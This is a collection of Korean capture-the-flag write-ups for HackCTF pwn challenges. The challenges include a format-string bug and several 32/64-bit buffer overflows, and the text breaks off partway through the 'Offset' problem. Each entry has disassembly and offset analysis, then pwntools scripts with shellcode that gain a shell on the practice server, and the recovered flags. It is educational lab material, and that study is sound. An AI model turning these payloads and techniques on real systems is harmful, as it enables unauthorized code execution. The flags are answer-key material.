[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 단순히 사용자의 입력을 받아 그대로 출력
  • 입력 값 길이에 대한 변화 없음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  vuln();
  return 0;
}
  • 단순히 vuln 함수 호출

 

IDA 분석 - vuln 함수

int vuln()
{
  char s; // [esp+0h] [ebp-808h]@1
  char format; // [esp+400h] [ebp-408h]@1

  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 0x400u, &s);
  return printf(&format);
}
  • fgets 함수로 사용자에게 1024바이트 만큼 입력 받음
  • snprintf(&format, 0x400u, &s); → format에 입력값 복사, 그러나 서식 지정자 없이 사용하고 있어 FSB 취약점 발생
💡 snprintf 함수
변수에 문자열을 넣어줌으로서 정해진 바이트수를 변수로 출력해줌
char *f로 선언된 변수 안에 입력된 내용이 문자열로써 담김.
BOF를 막기 위해 문자열의 길이를 지정하는 좀 더 안전한 함수
  • return printf(&format); → 포맷 스트링이 없어 FSB 취약점 발생

 

IDA 분석 - flag 함수

int flag()
{
  puts("EN)you have successfully modified the value :)");
  puts("KR)#값조작 #성공적 #플래그 #FSB :)");
  return system("/bin/sh");
}
  • /bin/sh shell 실행

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  printf@plt
0x080483e0  fgets@plt
0x080483f0  puts@plt
0x08048400  system@plt
0x08048410  __libc_start_main@plt
0x08048420  setvbuf@plt
0x08048430  snprintf@plt
0x08048440  __gmon_start__@plt
0x08048450  _start
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484c0  register_tm_clones
0x08048500  __do_global_dtors_aux
0x08048520  frame_dummy
0x0804854b  vuln
0x080485b4  flag
0x080485ed  main
0x08048630  __libc_csu_init
0x08048690  __libc_csu_fini
0x08048694  _fini
  • main 주소: 0x080485ed
  • vuln 주소: 0x0804854b
  • flag 주소: 0x080485b4
  • printf@got 주소: 0x080483d0
  • snprintf@got 주소: 0x08048430

 

취약점

💡 vuln함수의 snprintf와 printf 함수에서 FSB 취약점 발생
- snprintf()를 통해서 다음에 실행할 printf()를 flag()로 실행하기 위해 printf()의 got를 flag()로 덮어씌우면 printf()대신에 flag() 실행

  • 입력 값의 offset이 2번째 위치임을 알 수 있음

문제 해결

💡aaaaaaaa . 0 . 61616161
    printf@got . flag 함수 주소 . %n
   의 순서로 매칭해야 함

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3002)
e=ELF('./basic_fsb')

payload = p32(e.got['printf']) +"%134514096c%n"
payload = p32(0x804a00c) +"%134514096c%n"

print(p.recvuntil(": "))
p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3002)
e=ELF('./basic_fsb')

payload = p32(e.got['printf']) +b"%134514096c%n"
#payload = p32(0x804a00c) +b"%134514096c%n"

print(p.recvuntil(": "))
p.sendline(payload)
p.interactive()

 


flag

🍒 HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Basic_Bof #1  (0) 2022.10.30
[HackCTF] Basic_BOF #2  (0) 2022.10.30
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2022.10.30
[HackCTF] x64 Buffer Overflow  (0) 2022.10.30
[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30

[문제]

 


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 없음
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 Name과 input을 입력 받음
  • input의 길이에 따라 Segmentation fault 발생(BOF)

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]@1

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 50);
  printf("input : ");
  gets(&s);
  return 0;
}
  • read 함수로 50바이트 만큼 Name 입력 받고 있음
  • gets 함수로 input 입력을 받고 있음 → 길이 검증을 하지 않아 BOF 취약점 발생
  • shell을 실행할 수 있는 어떠한 것도 주어지지 않음 → shellcode 삽입 필요

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048330  _init
0x08048370  read@plt
0x08048380  printf@plt
0x08048390  gets@plt
0x080483a0  __libc_start_main@plt
0x080483b0  setvbuf@plt
0x080483c0  __gmon_start__@plt
0x080483d0  _start
0x08048400  __x86.get_pc_thunk.bx
0x08048410  deregister_tm_clones
0x08048440  register_tm_clones
0x08048480  __do_global_dtors_aux
0x080484a0  frame_dummy
0x080484cb  main
0x08048530  __libc_csu_init
0x08048590  __libc_csu_fini
0x08048594  _fini
  • main 주소: 0x080484cb

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080484cb <+0>:	push   ebp
   0x080484cc <+1>:	mov    ebp,esp
   0x080484ce <+3>:	sub    esp,0x14
   0x080484d1 <+6>:	mov    eax,ds:0x804a040
   0x080484d6 <+11>:	push   0x0
   0x080484d8 <+13>:	push   0x2
   0x080484da <+15>:	push   0x0
   0x080484dc <+17>:	push   eax
   0x080484dd <+18>:	call   0x80483b0 <setvbuf@plt>
   0x080484e2 <+23>:	add    esp,0x10
   0x080484e5 <+26>:	push   0x80485b0
   0x080484ea <+31>:	call   0x8048380 <printf@plt>
   0x080484ef <+36>:	add    esp,0x4
   0x080484f2 <+39>:	push   0x32
   0x080484f4 <+41>:	push   0x804a060
   0x080484f9 <+46>:	push   0x0
   0x080484fb <+48>:	call   0x8048370 <read@plt>
   0x08048500 <+53>:	add    esp,0xc
   0x08048503 <+56>:	push   0x80485b8
   0x08048508 <+61>:	call   0x8048380 <printf@plt>
   0x0804850d <+66>:	add    esp,0x4
   0x08048510 <+69>:	lea    eax,[ebp-0x14]
   0x08048513 <+72>:	push   eax
   0x08048514 <+73>:	call   0x8048390 <gets@plt>
   0x08048519 <+78>:	add    esp,0x4
   0x0804851c <+81>:	mov    eax,0x0
   0x08048521 <+86>:	leave  
   0x08048522 <+87>:	ret    
End of assembler dump.
  • main+53에 bp 걸어 Name에 임의의 입력 값 입력

  • 0x804a060에 Name 저장

  • name은 전역변수로 선언됨
  • main+78에 bp 걸어 input에 임의의 입력 값 입력

  • 0xffffd044에 입력 값 저장

  • 0xffffd05c에서 __libc_start_main+241 발견
  • 입력값~0xffffd05c까지의 offset = 24

 

문제 해결

💡Name: shellcode(최대 50byte)
     input: dummy(24byte)
     ret: Name_Address(0x804a060)

 

Python2 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

payload = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload += "A"*25
payload += "B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()

 

Python2 - shellcraft

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

shell = asm(shellcraft.sh())
payload = shell.ljust(50, "A")
payload += "B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()

 

Python3 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

payload = b"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload += b"A"*25
payload += b"B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive(

 

Python3 - shellcraft

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

shell = asm(shellcraft.sh())
payload = shell.ljust(50, b"A")
payload += b"B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Basic_BOF #2  (0) 2022.10.30
[HackCTF] Basic_FSB  (0) 2022.10.30
[HackCTF] x64 Buffer Overflow  (0) 2022.10.30
[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30
[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30

[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 입력받아 Hello 문자열 뒤에 덧붙여 출력

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]@1
  int v5; // [rsp+11Ch] [rbp-4h]@1

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\\n", &s);
  return 0;
}
  • scanf 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생

 

IDA 분석 - callMeMaybe 함수

int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]@1
  const char *v2; // [rsp+8h] [rbp-18h]@1
  __int64 v3; // [rsp+10h] [rbp-10h]@1

  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}
  • /bin/bash shell 실행
  • 해당 함수의 주소를 ret 부분에 덮어쓰면 exploit 될 것으로 보임

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00000000004004b0  _init
0x00000000004004e0  strlen@plt
0x00000000004004e8  printf@plt
0x00000000004004f0  __libc_start_main@plt
0x00000000004004f8  execve@plt
0x0000000000400500  __gmon_start__@plt
0x0000000000400508  __isoc99_scanf@plt
0x0000000000400510  _start
0x0000000000400540  deregister_tm_clones
0x0000000000400580  register_tm_clones
0x00000000004005c0  __do_global_dtors_aux
0x00000000004005e0  frame_dummy
0x0000000000400606  callMeMaybe
0x0000000000400641  main
0x00000000004006b0  __libc_csu_init
0x0000000000400720  __libc_csu_fini
0x0000000000400724  _fini
  • main 주소: 0x0000000000400641
  • callMeMaybe 주소: 0x0000000000400606

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400641 <+0>:	push   rbp
   0x0000000000400642 <+1>:	mov    rbp,rsp
   0x0000000000400645 <+4>:	sub    rsp,0x120
   0x000000000040064c <+11>:	mov    DWORD PTR [rbp-0x114],edi
   0x0000000000400652 <+17>:	mov    QWORD PTR [rbp-0x120],rsi
   0x0000000000400659 <+24>:	lea    rax,[rbp-0x110]
   0x0000000000400660 <+31>:	mov    rsi,rax
   0x0000000000400663 <+34>:	mov    edi,0x400741
   0x0000000000400668 <+39>:	mov    eax,0x0
   0x000000000040066d <+44>:	call   0x400508 <__isoc99_scanf@plt>
   0x0000000000400672 <+49>:	lea    rax,[rbp-0x110]
   0x0000000000400679 <+56>:	mov    rdi,rax
   0x000000000040067c <+59>:	call   0x4004e0 <strlen@plt>
   0x0000000000400681 <+64>:	mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400684 <+67>:	lea    rax,[rbp-0x110]
   0x000000000040068b <+74>:	mov    rsi,rax
   0x000000000040068e <+77>:	mov    edi,0x400744
   0x0000000000400693 <+82>:	mov    eax,0x0
   0x0000000000400698 <+87>:	call   0x4004e8 <printf@plt>
   0x000000000040069d <+92>:	mov    eax,0x0
   0x00000000004006a2 <+97>:	leave  
   0x00000000004006a3 <+98>:	ret    
End of assembler dump.
  • 사용자의 입력은 $rbp-0x110에 저장
  • ret까지의 offset은 buffer+sfp+ret으로 0x118일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)
  • main+49에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0x7fffffffdd50에 저장

  • 0x7fffffffde60에서 __libc_start_main+231 확인
  • 사용자의 입력~0x7fffffffde60까지의 offset = 280(0x118)

 

문제 해결

💡dummy(280) + callMeMaybe_Address(0x0000000000400606)

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3004)
e=ELF('./64bof_basic')

payload = "a"*280 + p64(e.symbols['callMeMaybe'])

p.sendline(payload)
p.interactive()

Python3 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3004)
e=ELF('./64bof_basic')

payload = b"a"*280 + p64(e.symbols['callMeMaybe'])

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{64b17_b0f_15_51mpl3_700}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Basic_FSB  (0) 2022.10.30
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2022.10.30
[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30
[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30
[HackCTF] Offset  (0) 2022.10.30

[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 없음
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 입력받음
  • 실행할 때마다 다른 buf 주소 출력 → ASLR이 걸려있음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-6D30h]@1

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("삐빅- 자살방지 문제입니다.");
  printf("buf: %p\\n", &v4);
  gets(&v4);
  return 0;
}
  • gets 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생
  • shell을 실행할 수 있는 부분이 주어지지 않아 shellcode 삽입이 필요할 것으로 생각됨

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00000000004004b0  _init
0x00000000004004e0  puts@plt
0x00000000004004f0  printf@plt
0x0000000000400500  __libc_start_main@plt
0x0000000000400510  gets@plt
0x0000000000400520  setvbuf@plt
0x0000000000400530  __gmon_start__@plt
0x0000000000400540  _start
0x0000000000400570  deregister_tm_clones
0x00000000004005b0  register_tm_clones
0x00000000004005f0  __do_global_dtors_aux
0x0000000000400610  frame_dummy
0x0000000000400636  main
0x00000000004006a0  __libc_csu_init
0x0000000000400710  __libc_csu_fini
0x0000000000400714  _fini
  • main 주소: 0x0000000000400636

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400636 <+0>:	push   rbp
   0x0000000000400637 <+1>:	mov    rbp,rsp
   0x000000000040063a <+4>:	sub    rsp,0x6d30
   0x0000000000400641 <+11>:	mov    rax,QWORD PTR [rip+0x200a08]        # 0x601050 <stdout@@GLIBC_2.2.5>
   0x0000000000400648 <+18>:	mov    ecx,0x0
   0x000000000040064d <+23>:	mov    edx,0x2
   0x0000000000400652 <+28>:	mov    esi,0x0
   0x0000000000400657 <+33>:	mov    rdi,rax
   0x000000000040065a <+36>:	call   0x400520 <setvbuf@plt>
   0x000000000040065f <+41>:	mov    edi,0x400728
   0x0000000000400664 <+46>:	call   0x4004e0 <puts@plt>
   0x0000000000400669 <+51>:	lea    rax,[rbp-0x6d30]
   0x0000000000400670 <+58>:	mov    rsi,rax
   0x0000000000400673 <+61>:	mov    edi,0x40074e
   0x0000000000400678 <+66>:	mov    eax,0x0
   0x000000000040067d <+71>:	call   0x4004f0 <printf@plt>
   0x0000000000400682 <+76>:	lea    rax,[rbp-0x6d30]
   0x0000000000400689 <+83>:	mov    rdi,rax
   0x000000000040068c <+86>:	mov    eax,0x0
   0x0000000000400691 <+91>:	call   0x400510 <gets@plt>
   0x0000000000400696 <+96>:	mov    eax,0x0
   0x000000000040069b <+101>:	leave  
   0x000000000040069c <+102>:	ret    
End of assembler dump.
  • 사용자의 입력은 $rbp-0x6d30에 저장
  • ret까지의 offset은 buffer+sfp+ret으로 0x6d38일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)

 

  • main+96에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0x7fffffff7120에 저장

  • 0x7fffffffde58에서 __libc_start_main+231 확인
  • 사용자의 입력~0x7fffffffde58까지의 offset = 27960(0x6d38)

 

문제 해결

💡dummy(280) + callMeMaybe_Address(0x0000000000400606)

 

Python2 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3005)

p.recvuntil(": ")
buf = int(p.recv(14), 16)

context(arch='amd64', os='linux')
shellcode = asm(shellcraft.amd64.linux.sh())
payload = shellcode.ljust(27960, "A")
payload += p64(buf)

p.sendline(payload)
p.interactive()

Python3 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3005)

p.recvuntil(": ")
buf = int(p.recv(14), 16)

context(arch='amd64', os='linux')
shellcode = asm(shellcraft.amd64.linux.sh())
payload = shellcode.ljust(27960, b"A")
payload += p64(buf)

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2022.10.30
[HackCTF] x64 Buffer Overflow  (0) 2022.10.30
[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30
[HackCTF] Offset  (0) 2022.10.30
[HackCTF] BOF_PIE  (0) 2022.10.30

[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 없음
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 Data 입력받음
  • 같은 실행에서 Again할 경우 같은 주소를 반환하지만, 바이너리를 반복 실행하면 다른 buf 주소 출력 → ASLR이 걸려있음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // ebx@9
  char v5; // [esp+13h] [ebp-89h]@1
  char s[128]; // [esp+14h] [ebp-88h]@2
  signed __int32 i; // [esp+94h] [ebp-8h]@3

  setvbuf(stdout, 0, 2, 0);
  v5 = 121;
  do
  {
    printf("Data : ");
    if ( __isoc99_scanf(" %[^\\n]s", s) ) //사용자는 Data 입력하도록 함
    {
      for ( i = 0; ; ++i )
      {
        v3 = i;
        if ( v3 >= strlen(s) )
          break; //종료
        if ( !(i & 15) ) 
          printf("%p: ", &s[i]);
        printf(" %c", (unsigned __int8)s[i]);
        if ( i % 16 == 15 )
          putchar(10);
      }
    }
    printf("\\nAgain (y/n): ");
  }
  while ( __isoc99_scanf(" %c", &v5) && (v5 == 121 || v5 == 89) );
  return 0;
}
  • scanf 함수로 사용자의 입력을 받고 있음. buffer의 크기가 128바이트로 지정되어 있지만 입력 값에 대한 길이 검증을 수행하지 않음→ BOF 취약점 발생
  • 입력 값을 16바이트만큼 1줄로 나타냄
  • shell을 실행할 수 있는 부분이 주어지지 않아 shellcode 삽입이 필요할 것으로 생각됨

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048380  _init
0x080483c0  printf@plt
0x080483d0  __gmon_start__@plt
0x080483e0  strlen@plt
0x080483f0  __libc_start_main@plt
0x08048400  setvbuf@plt
0x08048410  putchar@plt
0x08048420  __isoc99_scanf@plt
0x08048430  _start
0x08048460  __x86.get_pc_thunk.bx
0x08048470  deregister_tm_clones
0x080484a0  register_tm_clones
0x080484e0  __do_global_dtors_aux
0x08048500  frame_dummy
0x0804852d  main
0x08048670  __libc_csu_init
0x080486e0  __libc_csu_fini
0x080486e4  _fini
  • main 주소: 0x0804852d

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0804852d <+0>:	  push   ebp
   0x0804852e <+1>:	  mov    ebp,esp
   0x08048530 <+3>:	  push   ebx
   0x08048531 <+4>:	  sub    esp,0x98
   0x08048537 <+10>:	mov    eax,ds:0x804a040
   0x0804853c <+15>:	mov    DWORD PTR [esp+0xc],0x0
   0x08048544 <+23>:	mov    DWORD PTR [esp+0x8],0x2
   0x0804854c <+31>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048554 <+39>:	mov    DWORD PTR [esp],eax
   0x08048557 <+42>:	call   0x8048400 <setvbuf@plt>
   0x0804855c <+47>:	mov    BYTE PTR [ebp-0x89],0x79
   0x08048563 <+54>:	mov    DWORD PTR [esp],0x8048700
   0x0804856a <+61>:	call   0x80483c0 <printf@plt>
   0x0804856f <+66>:	lea    eax,[ebp-0x88]
   0x08048575 <+72>:	mov    DWORD PTR [esp+0x4],eax
   0x08048579 <+76>:	mov    DWORD PTR [esp],0x8048708
   0x08048580 <+83>:	call   0x8048420 <__isoc99_scanf@plt>
   0x08048585 <+88>:	test   eax,eax
   0x08048587 <+90>:	je     0x804861b <main+238>
   0x0804858d <+96>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048594 <+103>:	jmp    0x8048602 <main+213>
   0x08048596 <+105>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048599 <+108>:	and    eax,0xf
   0x0804859c <+111>:	test   eax,eax
   0x0804859e <+113>:	jne    0x80485bb <main+142>
   0x080485a0 <+115>:	lea    edx,[ebp-0x88]
   0x080485a6 <+121>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485a9 <+124>:	add    eax,edx
   0x080485ab <+126>:	mov    DWORD PTR [esp+0x4],eax
   0x080485af <+130>:	mov    DWORD PTR [esp],0x8048710
   0x080485b6 <+137>:	call   0x80483c0 <printf@plt>
   0x080485bb <+142>:	lea    edx,[ebp-0x88]
   0x080485c1 <+148>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485c4 <+151>:	add    eax,edx
   0x080485c6 <+153>:	movzx  eax,BYTE PTR [eax]
   0x080485c9 <+156>:	movsx  eax,al
   0x080485cc <+159>:	movzx  eax,al
   0x080485cf <+162>:	mov    DWORD PTR [esp+0x4],eax
   0x080485d3 <+166>:	mov    DWORD PTR [esp],0x8048715
   0x080485da <+173>:	call   0x80483c0 <printf@plt>
   0x080485df <+178>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485e2 <+181>:	cdq    
   0x080485e3 <+182>:	shr    edx,0x1c
   0x080485e6 <+185>:	add    eax,edx
   0x080485e8 <+187>:	and    eax,0xf
   0x080485eb <+190>:	sub    eax,edx
   0x080485ed <+192>:	cmp    eax,0xf
   0x080485f0 <+195>:	jne    0x80485fe <main+209>
   0x080485f2 <+197>:	mov    DWORD PTR [esp],0xa
   0x080485f9 <+204>:	call   0x8048410 <putchar@plt>
   0x080485fe <+209>:	add    DWORD PTR [ebp-0x8],0x1
   0x08048602 <+213>:	mov    ebx,DWORD PTR [ebp-0x8]
   0x08048605 <+216>:	lea    eax,[ebp-0x88]
   0x0804860b <+222>:	mov    DWORD PTR [esp],eax
   0x0804860e <+225>:	call   0x80483e0 <strlen@plt>
   0x08048613 <+230>:	cmp    ebx,eax
   0x08048615 <+232>:	jb     0x8048596 <main+105>
   0x0804861b <+238>:	mov    DWORD PTR [esp],0x8048719
   0x08048622 <+245>:	call   0x80483c0 <printf@plt>
   0x08048627 <+250>:	lea    eax,[ebp-0x89]
   0x0804862d <+256>:	mov    DWORD PTR [esp+0x4],eax
   0x08048631 <+260>:	mov    DWORD PTR [esp],0x8048715
   0x08048638 <+267>:	call   0x8048420 <__isoc99_scanf@plt>
   0x0804863d <+272>:	test   eax,eax
   0x0804863f <+274>:	je     0x804865f <main+306>
   0x08048641 <+276>:	movzx  eax,BYTE PTR [ebp-0x89]
   0x08048648 <+283>:	cmp    al,0x79
   0x0804864a <+285>:	je     0x8048563 <main+54>
   0x08048650 <+291>:	movzx  eax,BYTE PTR [ebp-0x89]
   0x08048657 <+298>:	cmp    al,0x59
   0x08048659 <+300>:	je     0x8048563 <main+54>
   0x0804865f <+306>:	mov    eax,0x0
   0x08048664 <+311>:	add    esp,0x98
   0x0804866a <+317>:	pop    ebx
   0x0804866b <+318>:	pop    ebp
   0x0804866c <+319>:	ret    
End of assembler dump.
  • 사용자의 입력은 $ebp-0x88에 저장
  • ret까지의 offset은 buffer+sfp+ret으로 0x8c일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)
  • main+88에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0xffffcfb0에 저장

  • 0xffffd03c에서 __libc_start_main+231 확인
  • 사용자의 입력~0x7fffffffde58까지의 offset = 140(0x8c)

 

문제 해결

💡shellcode + dummy(140-shellcode_bytes) + buffer_Address

 

Python2 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3006)
e=ELF('./Simple_overflow_ver_2')

p.recvuntil(": ")
payload = "A"*4
p.sendline(payload)

buf = int(p.recv(10), 16)
p.recvuntil("(y/n):")
p.sendline("y")

shell = asm(shellcraft.sh())
payload = shell.ljust(140, "A")
payload += p32(buf)

p.sendline(payload)
p.interactive()

Python3 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3006)
e=ELF('./Simple_overflow_ver_2')

p.recvuntil(": ")
payload = b"A"*4
p.sendline(payload)

buf = int(p.recv(10), 16)
p.recvuntil("(y/n):")
p.sendline("y")

shell = asm(shellcraft.sh())
payload = shell.ljust(140, b"A")
payload += p32(buf)

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Buffer Overflow  (0) 2022.10.30
[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30
[HackCTF] Offset  (0) 2022.10.30
[HackCTF] BOF_PIE  (0) 2022.10.30
[HackCTF] Yes or no  (0) 2022.10.30

[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 있음

 

바이너리 실행

  • 사용자로부터 입력받음
  • 일정 길이 이상 입력할 경우 Segmentation fault 발생

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-27h]@1
  int *v5; // [esp+20h] [ebp-8h]@1

  v5 = &argc;
  setvbuf(stdout, (char *)2, 0, 0);
  puts("Which function would you like to call?");
  gets(&s);
  select_func(&s);
  return 0;
}
  • gets 함수로 사용자의 입력을 받고 있음. 입력 값에 대한 길이 검증을 수행하지 않음→ BOF 취약점 발생
  • 사용자의 입력을 select_func 함수의 인자로 주며 호출

 

IDA 분석 - select_func 함수

int __cdecl select_func(char *src)
{
  char dest; // [esp+Eh] [ebp-2Ah]@1
  int (*v3)(void); // [esp+2Ch] [ebp-Ch]@1

  v3 = (int (*)(void))two;
  strncpy(&dest, src, 31);
  if ( !strcmp(&dest, "one") )
    v3 = (int (*)(void))one;
  return v3();
}
  • 사용자의 입력 값은 src 변수로 활용
  • dest에 사용자의 입력을 31byte만큼 복사
  • dest 값이 one이면 one 함수 호출

  • return v3() 부분을 one 함수 대신 print_flag 함수 주소로 overwrite할 수 있을 것으로 보임

 

IDA 분석 - one 함수

int one()
{
  return puts("This is function one!");
}

IDA 분석 - two 함수

int two()
{
  return puts("This is function two!");
}

IDA 분석 - print_flag 함수

int print_flag()
{
  char i; // al@1
  FILE *fp; // [esp+Ch] [ebp-Ch]@1

  puts("This function is still under development.");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}
  • flag 획득할 수 있음

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000049c  _init
0x000004d0  strcmp@plt
0x000004e0  gets@plt
0x000004f0  _IO_getc@plt
0x00000500  puts@plt
0x00000510  __libc_start_main@plt
0x00000520  setvbuf@plt
0x00000530  fopen@plt
0x00000540  putchar@plt
0x00000550  strncpy@plt
0x00000560  __cxa_finalize@plt
0x00000568  __gmon_start__@plt
0x00000570  _start
0x000005b0  __x86.get_pc_thunk.bx
0x000005c0  deregister_tm_clones
0x00000600  register_tm_clones
0x00000650  __do_global_dtors_aux
0x000006a0  frame_dummy
0x000006a9  __x86.get_pc_thunk.dx
0x000006ad  two
0x000006d8  print_flag
0x00000754  one
0x0000077f  select_func
0x000007dc  main
0x0000084f  __x86.get_pc_thunk.ax
0x00000860  __libc_csu_init
0x000008c0  __libc_csu_fini
0x000008c4  _fini
  • PIE로 offset만 확인 가능. 바이너리를 실행해야 주소가 할당됨.
  • main offset: 0x000007dc
  • select_func offset: 0x0000077f
  • one offset: 0x00000754
  • two offset: 0x000006ad
  • print_flag offset: 0x000006d8

gdb 분석 - select_func 함수

pwndbg> disass select_func
Dump of assembler code for function select_func:
   0x0000077f <+0>:	push   ebp
   0x00000780 <+1>:	mov    ebp,esp
   0x00000782 <+3>:	push   ebx
   0x00000783 <+4>:	sub    esp,0x34
   0x00000786 <+7>:	call   0x5b0 <__x86.get_pc_thunk.bx>
   0x0000078b <+12>:	add    ebx,0x182d
   0x00000791 <+18>:	lea    eax,[ebx-0x190b]
   0x00000797 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x0000079a <+27>:	sub    esp,0x4
   0x0000079d <+30>:	push   0x1f
   0x0000079f <+32>:	push   DWORD PTR [ebp+0x8]
   0x000007a2 <+35>:	lea    eax,[ebp-0x2a]
   0x000007a5 <+38>:	push   eax
   0x000007a6 <+39>:	call   0x550 <strncpy@plt>
   0x000007ab <+44>:	add    esp,0x10
   0x000007ae <+47>:	sub    esp,0x8
   0x000007b1 <+50>:	lea    eax,[ebx-0x1675]
   0x000007b7 <+56>:	push   eax
   0x000007b8 <+57>:	lea    eax,[ebp-0x2a]
   0x000007bb <+60>:	push   eax
   0x000007bc <+61>:	call   0x4d0 <strcmp@plt>
   0x000007c1 <+66>:	add    esp,0x10
